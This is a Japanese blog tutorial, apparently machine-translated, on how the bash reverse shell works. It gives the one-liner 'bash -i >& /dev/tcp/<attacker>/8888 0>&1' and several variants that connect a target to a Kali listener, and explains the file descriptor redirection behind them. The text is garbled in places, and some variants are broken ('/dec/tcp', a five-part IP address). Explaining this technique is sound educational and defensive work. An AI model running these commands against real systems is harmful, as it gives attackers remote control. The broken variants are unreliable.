1. ホーム
  2. スクリプト・コラム
  3. リナックスシェル

Linux bashのバウンスシェルの原理を簡単に解析してみた

2022-02-08 21:29:08

環境について

攻撃マシン: kali ip: 192.168.25.144

ターゲットマシン:Centos ip:192.168.25.142

プロセス

kali はローカルのポート 8888 をリッスンします。

対象マシン centos bounce shellへのコマンド書き込み

bash -i >& /dev/tcp/192.168.25.144/8888 0>&1


攻撃マシンkaliのバウンスシェルに成功

原理

バウンスシェル 多くの場合 アタッカー に直接接続できない。 被害者 対象がLANである場合や、ファイアウォールの特定のポリシーがONになっている場合など、様々な理由でこの操作が行われますが、ここで 被害者が攻撃者への接続を開始し、制御された側の へのリクエストを開始する。 制御する側 ポートに接続し、そのコマンドラインの入出力をリダイレクトします。 コンソール との対話が可能になります。

コマンドをバラバラにする

bash -i 

/dev/tcp/192.168.25.144/8888

 >& 0>&1

バッシュ

Linuxの一般的なデフォルトのシェルは バッシュ これはシェルのほぼすべての機能をカバーしているので、通常シェルスクリプトの実行パスとして指定されます。

一般的に使用されるシェルは   ash、bash、dash、ksh、csh、zsh  など、各シェルにはそれぞれ特徴や用途があります。

現在のシェルコマンドを問い合わせる    ls -l /bin/sh

バッシュ -i   対話型のbashシェルを開く。  -i 引数で指定された場合、それはインタラクティブな

インタラクティブとは、ユーザーと対話できることを意味し、コマンドを入力してそれをユーザーに表示することはインタラクティブ処理、シェルスクリプトの実行は非インタラクティブ処理となります

コマンドの使用  echo $-   対話型シェルかどうかを確認することができます

パラメータ付き  i 、その は対話型

シェルスクリプトを実行する

パラメータなし i , 非対話型

/devディレクトリ

devはdeviceの略です。デバイス(周辺機器を含む)に関連するファイルが格納される場所で、主に Linuxではすべてがファイル

 /dev/tcp/ は、Linuxの特殊なデバイスです。このファイルを開くことは、ソケットコールを発行してソケット接続を確立することと同じであり、このファイルを読み書きすることは、このソケット接続でデータを転送することと同じである。同様に、Linuxには/dev/udp/も存在します。

/dev/tcp/192.168.25.144/8888

つまり、上記のコマンドは、192.168.25.144:8888へのTCP接続を確立しています。

ファイル記述子

Linuxシステムでは、あらゆるものをファイルとして扱います。プロセスが既存のファイルを開いたり、新しいファイルを作成したりすると、カーネルはファイルディスクリプタをプロセスに返します。これは、開かれたファイルを効率的に管理するためにカーネルが作成したインデックスで、開かれたファイルを指し示すものです。

入出力操作を行うシステムコールはすべてファイルディスクリプタを通過する、つまり、ファイルディスクリプタが入出力を制御する(入出力リダイレクション)

標準入力 (stdin): コードが 0 の場合 < または << デフォルトデバイスのキーボード使用

標準出力(stdout):コードが1の場合 > または >> デフォルトデバイスのディスプレイを使用する

標準エラー出力(標準エラー):コードが2の場合 2> または2>> デフォルトのデバイス表示

 --- +--------+
( 0 ) ---->|dev/tty0| When opening a terminal the default file descriptor points to /dev/tty0 (virtual terminal)
 --- +--------+ 
             
 --- +--------+ 
( 1 ) ---->|dev/tty0| 
 --- +--------+  
   	    	    
 --- +--------+ 
( 2 ) ---->|dev/tty0| 
 --- +--------+

ほとんどのLinuxシステムコマンドは、ターミナルから入力を受け取り、結果の出力をターミナルに送り返します。コマンドは通常、標準入力と呼ばれる場所から入力を読み込みますが、デフォルトではたまたまあなたのターミナルになっています。同様に、コマンドは通常その出力を標準出力に書き込みますが、これもデフォルトではあなたの端末になります

シェルの入出力リダイレクト

上の画像のようにさせます。   出力リダイレクト

使用方法     1>     指定されたファイルに出力を書き込む ファイルが存在しない場合は作成し、存在する場合は上書きを行う

省略またはデフォルトは1 同様に、入力のリダイレクトは   0<    省略時は0

使用方法  >>   は、ファイルの末尾にあるコンテンツを追いかけます。

上記で確立したTCP接続と組み合わせる

受け取ったkaliの攻撃マシン

組み合わせ バッシュ -i

コマンド実行結果をkaliに戻す

この時点で name と入力し、標準出力エラーがリダイレクトされないことを確認します。

 --- +--------+
( 0 ) ---->|dev/tty0|
 --- +--------+ 
            
 --- +--------+ +------------------+
( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port|
 --- +--------+ +------------------+
   	    	    
 --- +--------+ 
( 2 ) ---->|dev/tty0| 
 --- +--------+

入力リダイレクト

kaliの攻撃マシンで、次のように入力します。

ターゲットマシーンは入力コマンド、標準出力(デフォルト端末)を取得

 --- +--------+
( 0 ) ---->|dev/tty0|
 --- +--------+ 
            
 --- +--------+ +------------------+
( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port|
 --- +--------+ +------------------+
   	    	    
 --- +--------+ 
( 2 ) ---->|dev/tty0| 
 --- +--------+

この時点では、単に

bash i > /dec/tcp/192.168.25.144/8888   そして   bash i < /dec/tcp/192.168.25.144/8888  と合わせて

攻撃側のkaliマシンでコマンド入力を実装し、kaliマシンでコマンドを取得します。 バウンスシェルを実装しています。

つまり、以下のコマンドを使用します。

bash -i > /dev/tcp/192.168.25.144/8888 0>&1

効果 kali ip: 192.168.25.140 

この時点で 攻撃側で入力されたコマンドをターゲットが出力します。 もう一つ問題があって、標準エラー出力がリダイレクトされないのです

追加です。

バッシュ コマンドを実行する際、まずコマンド内にリダイレクト記号があるかどうかを確認し、あればそのファイル記述子を最初にリダイレクトし、複数あれば左から右の順にコマンドを実行します

標準出力と標準エラー出力のリダイレクト

このとき、バウンスシェル文では   >&     演算子を使用します。 >&  演算子は文脈によって異なる意味を持つ

で    >&ワード   構文では 単語 は数字または  文字がある場合、演算子  >&   を示します。 コピー ファイル記述子 

    そして、ファイルディスクリプタは、以下のような形式でコピーされます。     num1<&num2  と  num1>&num2 

    ここでは、2つの は、ファイル記述子 num1 を num2 にコピーします。  前者は読み込み専用で、後者は書き込み専用で開いているという違いがあります。

したがって num1<&num2  そして  num1>&num2  は等価です(read/write mode openは影響しません)。

    そこで、上記のコマンドは次のように修正することができます。      bash -i > /dev/tcp/192.168.25.144/8888 0<&1

   そこで     0>&1または0<&1

   は、ファイルディスクリプタの説明です コピー 0 [標準入力] を 1 [標準出力] が指す場所にリダイレクトするものです。

   この時点で1[standard output]はソケット接続ファイルを指しています(最初の> )

   リダイレクトが完了すると、0 [標準入力] もソケット接続ファイルを指している つまり、元の標準出力がコピーされたため、ターゲットマシーンに表示し直されたと推測されます(kaliでのコマンドヒット)。

 --- +--------+
( 0 ) ---->|dev/tty0|\
 --- +--------+ \
            \
 --- +--------+ ----> +------------------+
( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port|
 --- +--------+ +------------------+
   	    	    
 --- +--------+ 
( 2 ) ---->|dev/tty0| 
 --- +--------+

この時点では、標準エラー出力は変更されていません。

で    >&word   構文では、word が数字でない場合や   -  文字     >&   とは 標準出力に出力される標準エラー

   この時点では演算子 &> と同じ機能 >&語  と同等です。  &> 単語        はどちらも         > 単語 2>&1

    を実行する場合 bash -i > /dev/tcp/192.168.25.140/9999 0>&1   コマンドを実行すると、次のような効果があります。 標準出力のエラーはリダイレクトされません。

    そこで、コマンドを実行します。    bash -i > /dev/tcp/192.168.25.140/9999 0>&1 2>&1 または

bash -i >& /dev/tcp/192.168.25.140/9999 0>&1 どちらも閉ループを形成し、再び、攻撃者にコマンドを表示します。

  シェルをバウンスするクロージャを形成するために、次のような効果を得ることができ、他のいくつかのバウンスコマンドも形成することができればよい。

 --- +--------+
( 0 ) ---->|dev/tty0|\
 --- +--------+ \
            \
 --- +--------+ ----> +------------------+
( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port|
 --- +--------+ ----> +------------------+
   	    	    /
 --- +--------+ /
( 2 ) ---->|dev/tty0| / 
 --- +--------+

bash -i >& /dev/tcp/192.168.146.25.144/8888 <&1

bash -i >& /dev/tcp/192.168.146.25.144/8888 <&2

bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&1

bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&2

bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&1


bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&2


bash -i > /dev/tcp/192.168.25.144/8888 0>&1 2>&1

その他

この記事は、多くの大御所のブログから拝借しているので、訂正があれば。ぜひご指摘ください。

参考リンク

https://xz.aliyun.com/t/2549

https://www.gnu.org/software/bash/manual/html_node/Redirections.html

http://wiki.bash-hackers.org/howto/redirection_tutorial

https://www.00theway.org/2017/07/11/bash%20%E5%8F%8D%E5%BC%B9shell/

bash bounce shell for Linuxの原理については、この記事ですべて説明されています。bash bounce shell for Linuxの詳細については、過去の記事を検索するか、以下の記事を引き続きご覧ください。